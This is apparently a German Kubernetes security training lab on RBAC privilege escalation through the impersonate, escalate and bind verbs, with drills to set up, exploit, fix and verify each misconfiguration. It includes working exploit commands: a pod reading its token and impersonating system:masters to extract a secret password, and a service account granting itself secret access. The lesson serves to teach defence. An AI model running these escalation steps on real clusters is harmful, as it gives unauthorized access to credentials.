Tag 3: Impersonation, escalate und bind
Ziel: Du missbrauchst drei stille RBAC-Rechte zur Rechteausweitung – und drehst sie zu. · Dauer: ca. 75 min · Voraussetzung: Tag 2
Briefing
Drei RBAC-Verben sehen harmlos aus und sind es nicht:
impersonate lässt dich als jemand anderes handeln
– bis hin zur Gruppe system:masters, dem eingebauten
cluster-admin. escalate hebelt den Schutz aus, der
verhindert, dass man sich selbst mehr Rechte gibt. bind
erlaubt, eine Rolle zuzuweisen, die man gar nicht hält. Keines davon
gehört je an einen Workload.
Drill 1: Die Fehlkonfiguration – impersonate
kubectl -n shop create secret generic db-credentials \
--from-literal=password=S3cr3t-lab-pw
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: impersonator
rules:
- apiGroups: [""]
resources: ["users","groups","serviceaccounts"]
verbs: ["impersonate"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: attacker-impersonator
subjects:
- kind: ServiceAccount
name: default
namespace: attacker
roleRef:
kind: ClusterRole
name: impersonator
apiGroup: rbac.authorization.k8s.io
EOFFortschritt speichern? Kostenlos registrieren
Drill 2: Ausnutzen – als cluster-admin handeln
Du selbst darfst keine Secrets lesen. Aber du darfst so tun, als
wärst du jemand, der es darf. Die API kennt dafür die Header
Impersonate-User und Impersonate-Group. Die
Gruppe system:masters ist im kube-apiserver fest mit
cluster-admin verdrahtet:
kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer $TOKEN" \
-H "Impersonate-User: nobody" \
-H "Impersonate-Group: system:masters" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
| grep -oE "\"password\": *\"[^\"]*\"" \
| sed -E "s/.*\"password\": *\"//;s/\"//" | base64 -d; echo'Erwartet:
S3cr3t-lab-pw
Ein Pod ohne eigene Secret-Rechte liest das Passwort – weil er sich
als die Allmachtsgruppe ausgeben darf. impersonate auf
groups ist faktisch cluster-admin.
Fortschritt speichern? Kostenlos registrieren
Drill 3: Fix – impersonate entziehen
kubectl delete clusterrolebinding attacker-impersonator
kubectl delete clusterrole impersonatorFortschritt speichern? Kostenlos registrieren
Drill 4: Nachweis
kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN" \
-H "Impersonate-User: nobody" -H "Impersonate-Group: system:masters" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials'Erwartet:
403
Fortschritt speichern? Kostenlos registrieren
Drill 5: escalate und bind – der Selbstbedienungsladen
RBAC hat einen eingebauten Schutz: Du kannst keine Rolle erstellen, die mehr darf, als du selbst hast. Baue einen ServiceAccount, der Rollen verwalten darf – sonst nichts:
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: rbac-manager, namespace: attacker}
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles","rolebindings"]
verbs: ["create","get","list","update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: rbac-manager, namespace: attacker}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: rbac-manager, apiGroup: rbac.authorization.k8s.io}
EOFVersuch jetzt, dir selbst Secret-Rechte zu schreiben:
kubectl create role self-secrets --verb=get --resource=secrets \
--as=system:serviceaccount:attacker:default -n attackerErwartet:
Error from server (Forbidden): roles.rbac.authorization.k8s.io "self-secrets" is
forbidden: user "system:serviceaccount:attacker:default" ... is attempting to grant
RBAC permissions not currently held:
{APIGroups:[""], Resources:["secrets"], Verbs:["get"]}
Der Schutz greift. Er fällt in dem Moment, in dem jemand dem Account
escalate (Rolle mit mehr Rechten anlegen) und
bind (fremde Rolle zuweisen) gibt:
kubectl patch role rbac-manager -n attacker --type=json -p='[{"op":"add","path":"/rules/-","value":{"apiGroups":["rbac.authorization.k8s.io"],"resources":["roles","rolebindings"],"verbs":["escalate","bind"]}}]'
kubectl create role self-secrets --verb=get,list --resource=secrets \
--as=system:serviceaccount:attacker:default -n attacker
kubectl create rolebinding self-secrets --role=self-secrets \
--serviceaccount=attacker:default \
--as=system:serviceaccount:attacker:default -n attacker
kubectl auth can-i list secrets --as=system:serviceaccount:attacker:default -n attackerErwartet:
role.rbac.authorization.k8s.io/self-secrets created
rolebinding.rbac.authorization.k8s.io/self-secrets created
yes
Mit escalate+bind schreibt sich der Account
die Rechte selbst. Darum gehören diese Verben nur in die Hände echter
Administratoren. Räum auf:
kubectl -n attacker delete rolebinding rbac-manager self-secrets
kubectl -n attacker delete role rbac-manager self-secretsFortschritt speichern? Kostenlos registrieren
Kontrollpunkt
Kein Workload darf impersonieren:
kubectl auth can-i impersonate groups --as=system:serviceaccount:attacker:defaultErwartet: no
Der Escalation-Schutz ist aktiv (der Account kann sich keine Secret-Rechte schreiben):
kubectl auth can-i escalate roles --as=system:serviceaccount:attacker:default -n attackerErwartet: no
Challenge
Finde jeden Account, der im Cluster impersonate darf –
das ist einer der gefährlichsten Befunde überhaupt.
Hinweis:
kubectl get clusterroles -o json enthält die
rules; filtere nach dem Verb.
Lösung
kubectl get clusterroles -o json | python3 -c '
import sys,json
for r in json.load(sys.stdin)["items"]:
for rule in r.get("rules") or []:
if "impersonate" in (rule.get("verbs") or []):
print(r["metadata"]["name"], rule.get("resources"))'Erwartet: System-Rollen wie system:controller:.... Jede
eigene Rolle mit impersonate ist ein
Audit-Befund.
Fortschritt speichern? Kostenlos registrieren
Enterprise-Notiz
impersonate,escalate,bindnur für Administratoren, nie für Workloads oder CI-SAs.system:mastersumgeht RBAC vollständig und taucht in Audit-Logs als normaler Request auf – Impersonation ist deshalb schwer zu entdecken. Audit-Logging ist Pflicht: Der kube-apiserver protokolliertimpersonatedUserim Audit-Event.- In RKE2 das Audit-Log aktivieren (
audit-policy-filein der kube-apiserver-Config) und nach"impersonatedUser"alarmieren. - Kyverno kann Admission-seitig RBAC-Objekte mit
impersonate/escalateblocken (Tag 12).